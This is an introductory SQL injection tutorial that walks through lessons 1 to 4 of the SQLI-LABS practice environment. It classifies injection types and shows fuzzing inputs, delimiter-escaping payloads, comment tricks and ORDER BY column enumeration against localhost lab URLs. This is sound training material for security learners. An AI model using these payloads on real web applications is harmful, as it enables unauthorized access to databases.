Application security

What is an SQL Injection? SQL Injections: An Introduction

New SQL Injection Lab!

Skillset Labs walk you through infosec tutorials, step-by-step, with over 30 hands-on penetration testing labs available for FREE!

FREE SQL Injection Labs

According to the Open Web Application Security Project (OWASP), injection attacks are first on the list of the top 10 web vulnerabilities. Diving into these, SQL injections are responsible for a big chunk of this. Exploitation of SQL injections is trivial. This vulnerability is not just web related but can also occur in desktop applications that use SQL server backends. The detectability of these vulnerabilities depends on the complexity of the application in question. Most times, point-and-shoot tools fail to successfully detect these vulnerabilities. Sometimes there is difficulty in putting the desired conditions to successfully exploit the injections into these point-and-click tools, causing the vulnerability to go unnoticed. A generic solution to prevent these sorts of flaws from creeping in while programming is to sanitize all inputs and use proper encoding, furthermore using the white-list approach to allow only data which needs to be used by application.

11 courses, 8+ hours of training

Learn cybersecurity from Ted Harrington, the #1 best-selling author of "Hackable: How to Do Application Security Right."

See Courses

SQLI-LABS is an attempt to walk through the process of SQL injections in a dumb way. The focus is on understanding the core concepts, making it easy to be followed by people who are learning to break into the field of security and penetration testing. To help the learning process, a test bed has been prepared which can be followed along with this post. One can also follow the video explanations for each lesson for brief explanations about the topic. The test bed can be grabbed from https://github.com/Audi-1/sqli-labs. You can follow readme.txt for installation instructions or can watch the brief video. http://www.youtube.com/watch?v=NJ9AA1_t1Ic

What are SQL injections?

An SQL injection is a kind of injection vulnerability in which the attacker tries to inject arbitrary pieces of malicious data into the input fields of an application, which, when processed by the application, causes that data to be executed as a piece of code by the back end SQL server, thereby giving undesired results which the developer of the application did not anticipate. The backend server can be any SQL server (MySQL, MSSQL, ORACLE, POSTGRESS, to name a few)

The ability of the attacker to execute code (SQL statements) through vulnerable input parameters empowers him to directly interact with the back end SQL server, thereby leveraging almost a complete compromise of system in most cases.

What are different types of SQL injections?

SQL injections can be classified and categorized in different ways, based on the type of data extraction channel, the response received from server, how server responses aid in leveraging the successful exploitation, impact point, etc.

Based on the data extraction channel

• Inband or inline
• Out-of-band

SQL injections that use the same communication channel as input to dump the information back are called inband or inline SQL Injections. This is one of the most common methods, readily explained on the Internet in different posts. For example, a query parameter, if injectable, leads to the dumping of info on the web page.

Injections that use a secondary or different communication channel to dump the output of queries performed via the input channel are referred to as out-of-band SQL injections. For example, the injection is made to a web application and a secondary channel such as DNS queries is used to dump the data back to the attacker domain.

Based on the response received from the server

• Error-based SQL injections
  • Union query type.
  • Double query Injections.

• Blind SQL Injections
  • Boolean-based blind injections.
  • Time based blind injections.

Error-based SQL injections are primarily those in which the SQL server dumps some errors back to the user via the web application and this error aids in successful exploitation. In the image below, the yellow line displays the error. These will be discussed further in this post and in related posts to come.

Blind SQL injections are those injections in which the backend database reacts to the input, but somehow the errors are concealed by the web application and not displayed to the end users. Or the output is not dumped directly to the screen. Therefore, the name "blind" comes from the fact that the injector is blindly injected using some calculated assumptions and tries.

Based on how the input is treated in SQL query (what data type)

• String-based
• Numeric- or integer based

Based on how the input parameter would be treated in the back end SQL query, an injection can be classified as string- or integer-based.

Based on the degree/order of injections (where the impact happens)

• First-order injections.
• Second-order injections.

The degree or the order of injection identifies the way in which the injection yields the output. If the injection directly delivers the result, it is considered to be a first-order injection, but if the injection input yields no successful result in extraction, but instead impacts some other result which the attacker can take advantage of on some other place/page, it is called a second-order injection. Consider second-order injections similar to stored XSS injections, where the input is stored in the application and later rendered on some other page, thereby impacting that page indirectly because of initial malicious input.

Based on the injection point location

• Injection through user input form fields.
• Injection through cookies.
• Injection through server variables. (headers-based injections)

Why does SQL injection happen?

Generally when an application is communicating with the backend database, it does so in the form of queries with the help of an underlying database driver. This driver is dependent on the application platform being used and the type of backend database, such as MYSQL, MSSQL, DB2, or ORACLE.

A generic login query would look something like this:

`SELECT Column1, Column2,Column3 FROM table_name WHERE username='$variable1' AND password='$variable2';`

We can split this query into two parts, code section and the data section. The data section is the $variable1 and $variable2 and quotes are being used around the variable to define the string boundary.

Let us try to walk through the process in a crude way. Say at the login form, the username entered is Admin and password is p@ssw0rd which is collected by application and values of $variable1 and $variable2 are placed at their respective locations in the query, making it something like this.

`SELECT Column1, column2, Column3 FROM table_name WHERE username='Admin' AND password='p@ssw0rd';`

Now the developer assumes that users of his application will always put a username and password combination to get a valid query for evaluation by database backend. What if the user is malicious and enters some characters which have some special meaning in the query? For example a single quote. So, instead of putting Admin, he puts Admin', thereby causing an error thrown by the DB driver. Why? Because of the unpaired quote entered by the user breaking the application logic.

We will discuss the process in detail. To summarize: Whenever an attacker is able to escape the data boundaries, he can append data which then gets interpreted as code by the DB Driver and is executed on the SQL backend, thereby causing SQL injection.

ERROR-based SQL injections

In general, all programming languages give developers a flexibility to debug and fix their applications by using some inbuilt error-handling functions/libraries. These could be some explicit function, classes, or methods that deliver friendly error messages so that the troubleshooting experience can be streamlined and detecting the part of code responsible for raising those exceptions can be easier.

These functions should be controlled before an application goes to production because they can dump a lot of sensitive info about the application and underlying logic, thereby making it easy for a bad guy to exploit the application.

Therefore, those applications where these error-handling functions are available to aid in gaining useful info about the application or in dumping the database info by means of SQL interaction are classified as error-based SQL Injections.

Based on the way data is extracted using helpful errors, the error-based injections can be classified into two main types:

• Union-query type
• Double-query type

Let's discuss the process of SQLi in detail.

To do so, let us consider Lessons 1 to 4. We will continue to explore the further lessons of Labs in coming posts. For the purpose of demonstration, I have installed the SQLI-LABS under the /var/www location on my Backtrack installation. Download and follow the install instructions to set it up to follow along.

A methodological approach is always helpful in understanding the underlying logic. The major process is as follows:

• Enumerate the application behavior
• Fuzz the application with bogus data with the goal of crashing the application
• Try to control the injection point by guessing the query used in the backend
• Extract the data from the back end database

Enough theory, time for some action.

ENUMERATION:

Let us start with enumeration of the applications. Lessons 1 to 4 look almost identical. When we load the page for Less-1, it asks us to input ID as a GET parameter, which should be a numeric value.

Providing the ID as a numeric value, we see a specific username and password on screen when the value of ID is between 1 through 14. For any other value, we see nothing being displayed on screen.

ANALYSIS of ENUMERATION

id=15 => No output on screen.

ID=1 => Login name= Dumb, Password=Dumb

ID=2 => Login name= Angelina, Password=I-kill-you

ID=3 => Login name= Dummy, Password=p@ssw0rd

ID=4 => Login name= secure, Password=crappy

ID=5 => Login name= stupid, Password=stupidity

ID=6 => Login name= superman, Password=genious

ID=7 => Login name= batman, Password=mob!le

ID=8 => Login name= admin, Password=admin

ID=9 => Login name= admin1, Password=admin1

ID=10 => Login name= admin2, Password=admin2

ID=11 => Login name= admin3, Password=admin3

ID=12 => Login name= dhakkan, Password=Dumbo

ID=13 => Login name= admin4, Password=admin4

ID=14 => Login name= admin5, Password=admin5

ID=15 => No output on screen.

ID=20 => No output on screen.

ID=100 => No output on screen.

Result of Enumeration: The database seems to have 14 records in the table and for any non-existent value ID it returns an empty set.

FUZZING:

Generally the developer of the application assumed that the user would input integer values. After we have enumerated the application work flow, we try to fuzz all input points of the application. So what exactly is Fuzz? It is a process for supplying arbitrary dumb patterns as input with the objective to see application behavior and try to find the discrepancies in the responses. The discrepancies indicate the possibility of vulnerability. We will fuzz all the four lessons together one by one.

Below are some arbitrary inputs which we can add, append and use for purpose of detecting basic error based SQLi:

• '
  
• "
  
• 
  
• ;
  
• %00
  
• )
  
• (
  
• aaa
  

Integer or string test: Because the input parameter seems to be integer value, let us try to input a string value for ID parameter and observe the behavior.

Less-1 http://localhost/sqli-labs/Less-1/?id=asdf

Less-2 http://localhost/sqli-labs/Less-2/?id=asdf

Less-3 http://localhost/sqli-labs/Less-3/?id=asdf

Less-4 http://localhost/sqli-labs/Less-4/?id=asdf

Result of Integer and String Test: We see that Less-1, Less-3, and Less-4 respond by returning the empty set, whereas Less-2 returns a different behavior; it displays a MySQL error message on screen. From very basic programming knowhow, we know that a string parameter is always wrapped in single quotes or double quotes, whereas integers are used as is. Therefore we can assume that Less-1, -3, and -4 are using some sort of quotes to wrap around the user input. They consider the string entered as a non-existent value in the database and therefore respond with the empty set. Less-2 is producing a MySQL alert, meaning that there are no quotes used around the input parameter, therefore integer values work fine in a query but strings cause an error. Therefore we can deduce that Less-1, Less-2, and Less-3 are string-based injections and Less-2 is an integer-based injection.

Fuzzing continued: Now let us further take the fuzz characters and try them against Less-1 through -4 one by one.

Less-1

http://localhost/sqli-labs/Less-1/?id=1'

Less-2

http://localhost/sqli-labs/Less-2/?id=1'

Less-3

http://localhost/sqli-labs/Less-3/?id=1'

All three produce a similar kind of error message with a very minute difference.

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

And Less-4 does not produce any alert with the injection of a single quote.

http://localhost/sqli-labs/Less-4/?id=1'

Trying the same exercise with a double quote injection, we observe that this time only Less-4 crashes the application and Less-1, Less-2, and Less-3 do not crash it anymore.

Therefore, from the above tests, we have discovered that the applications Less-1, Less-2, and Less-3 are reactive to a single-quote injection and Less-4 is to a double-quote injection.

Time to discover the underlying query being used by applications by using info gained above. We know that Less-1, Less-3, and Less-4 are string-based and Less-2 is numeric. Let us confirm this further by injecting a backslash, which is an escape character to print characters which have special meaning in SQL (for example, to print a ' we need to write it as ' so the quote does not get evaluated and dumped as another character). Appending ID=1 yields the following output:

For Less-1

Because we input 1, let's look at the part of error dumped on the screen containing 1, which is

near ' '1' LIMIT 0,1' at line 1.

We observe that as our input was 1, a single quote is visible after that, indicating that single quotes are used as a wrapper for the strings.

Let's take Less-2 and try the same.

Our input is same but the output has a minor change to the Less-1, near ' '1 LIMIT 0,1' at line 1. After our input 1 there are no quotes, again proving that Less-2 is an integer-based injection and does not need any quotes to break the query.

Still confused? Let us do the same test with Less-3 and Less-4 and it will get clearer as we progress.

Let us do the same test with Less-3:

The error message is near ' '1') LIMIT 0,1' at line 1.

In this lesson, with the same input of 1, we see ') after our parenthesis, indicating that the developer of the application has wrapped the variable inside parentheses (' variable').

Let's do the same with Less-4:

Error message is near ' "1") LIMIT 0,1' at line 1.

In this lesson, with same input of 1, we see ") after our parenthesis indicating that the developer of the application has wrapped variable inside parentheses ("variable").

Building up the query being used behind the scene in the applications:

Less-1: SELECT * FROM TABLE_NAME WHERE ID='$ID' LIMIT 0,1

Less-2: SELECT * FROM TABLE_NAME WHERE ID=$ID LIMIT 0,1

Less-3: SELECT * FROM TABLE_NAME WHERE ID=('$ID') LIMIT 0,1

Less-4: SELECT * FROM TABLE_NAME WHERE ID=("$ID") LIMIT 0,1

COMMENTING OUT QUERY

Until now, we have been able to detect the injection flaw, and able to guess a pseudo query with details on what is being used as a string delimiter or wrapper around the variable. One thing we need to understand is that, during the injection, we can only control the variable but not the delimiters used around it; therefore as soon as we inject an extra delimiter, it induces a syntax error.

For a successful injection, we should close the open delimiter wrapped around the variable in the query, thereby making it possible for us to escape the string/integer boundary and execute SQL statements and also be able to handle the closing delimiter around the variable, which becomes stale. This can be done in two ways. One way is by commenting out the rest of query, and the second way is by adding an extra delimiter with extra values to make the query syntactically correct. Let us take an example:

Less-1: SELECT * FROM TABLE_NAME WHERE ID=' $ID ' LIMIT 0,1

In place of $ID, we put value of 1', then the query becomes something like

SELECT * FROM TABLE_NAME WHERE ID=' 1' ' LIMIT 0,1

Now, this query is syntactically incorrect and needs to be fixed for execution. We found and confirmed that, by adding an extra quote for Less-1, we can successfully escape the string boundary, but we need to fix the extra ' which is there as part of original query.

Way one:

We can use SQL comments to fix the syntax. MySQL uses three types of comments: --+, # , /* */, so our injection can be 1' --+ or 1' #.

So the query effectively becomes

SELECT * FROM TABLE_NAME WHERE ID=' 1'--+ ' LIMIT 0,1

SELECT * FROM TABLE_NAME WHERE ID=' 1' # ' LIMIT 0,1

Complete URL with injection is:

http://localhost/sqli-labs/Less-1/?id=1'--+

http://localhost/sqli-labs/Less-1/?id=1' %23

(NOTE: %23 is url-encoded value for #)

For Lesson 2, we do not need any extra quotes to escape and inject queries as there are no quotes in the first place, therefore a simple commenting out should be fine.

http://localhost/sqli-labs/Less-2/?id=1--+

http://localhost/sqli-labs/Less-2/?id=1 %23

(NOTE: %23 is url-encoded value for #)

So the query effectively becomes

SELECT * FROM TABLE_NAME WHERE ID= 1'--+ LIMIT 0,1

SELECT * FROM TABLE_NAME WHERE ID= 1' # LIMIT 0,1

Let us now look at the Less-3 and Less-4.

The query for Less-3 we deduced earlier was:

SELECT * FROM TABLE_NAME WHERE ID=('$ID') LIMIT 0,1

Therefore, to get a working query in this case, we need to first inject ') as discussed above to close the initial delimiter and then comment out rest of the query.

SELECT * FROM TABLE_NAME WHERE ID=(' 1') --+ ') LIMIT 0,1

SELECT * FROM TABLE_NAME WHERE ID=(' 1') # ') LIMIT 0,1

The query for Less-4 we deduced earlier was:

SELECT * FROM TABLE_NAME WHERE ID=("$ID") LIMIT 0,1

Therefore, to get a working query in this case, we need to first inject ') as discussed above to close the initial delimiter and then comment out rest of the query.

SELECT * FROM TABLE_NAME WHERE ID=(" 1") --+ ") LIMIT 0,1

SELECT * FROM TABLE_NAME WHERE ID=(" 1") # ") LIMIT 0,1

Injection: 1') --+

Injection: 1') %23
(NOTE: %23 is URLENCODE for #)

Injection: 1") --+

Injection: 1") %23
(NOTE: %23 is URLENCODE for #)

Once we are in this position, having fixed the query after successful injection, we can inject the code in between the delimiter and the comments we injected.

FINDING COLUMNS USED BY DEVELOPER IN QUERIES

As we saw during the enumeration phase, the application is interacting with the database and displaying some info on the web pages. Therefore we will be using UNION statements to dump the database info. A constraint to the use of the union statements is that the columns on both sides of union should be the same; therefore our last hurdle before we get something out from the database is to know number of columns used by developer in his query.

To do this we use a SQL Keyword "ORDER BY".

When we use ORDER BY in a query, the result set is arranged as per the selection of ORDER BY clause. If the column is not valid, we get an error.

Therefore in our injections, we start to add ORDER BY 1, ORDER BY 2 , ORDER BY 3…......... and try to observe the result.

Injection: 1' ORDER BY 1 --+ => No Error.

Injection: 1' ORDER BY 2 --+ => No Error.

Injection: 1' ORDER BY 3 --+ => No Error.

Injection: 1' ORDER BY 4 --+ => Error - Unknown column '4' in 'order clause', indicating we have 3 columns.

For Lesson2:

Injection: 1 ORDER BY 1 --+ => No Error.

Injection: 1 ORDER BY 2--+ => No Error.

Injection: 1 ORDER BY 3 --+ => No Error.

Injection: 1 ORDER BY 4 --+ => Error - Unknown column '4' in 'order clause', indicating we have 3 columns.

For Lesson3

Injection: 1') ORDER BY 1 --+ => No Error.

Injection: 1') ORDER BY 2--+ => No Error.

Injection: 1') ORDER BY 3 --+ => No Error.

Injection: 1') ORDER BY 4 --+ => Error - Unknown column '4' in 'order clause', indicating we have 3 columns.

For Lesson4

Injection: 1") ORDER BY 1 --+ => No Error.

Injection: 1") ORDER BY 2--+ => No Error.

Injection: 1") ORDER BY 3 --+ => No Error.

Injection: 1") ORDER BY 4 --+ => Error - Unknown column '4' in 'order clause', indicating we have 3 columns.

Once we know the number of columns in the queries, we can just go ahead and dump the databases and data of our choice. We will continue further in the next part of this series.

11 courses, 8+ hours of training

Learn cybersecurity from Ted Harrington, the #1 best-selling author of "Hackable: How to Do Application Security Right."

See Courses

You can also refer to the video postings about the same topic from the following link:

1. http://www.youtube.com/watch?v=NJ9AA1_t1Ic
2. http://www.youtube.com/watch?v=TA2h_kUqfhU
3. http://www.youtube.com/watch?v=N0zAChmZIZU
4. http://www.youtube.com/watch?v=6pVxm5mWBVU
5. http://www.youtube.com/watch?v=0tyerVP9R98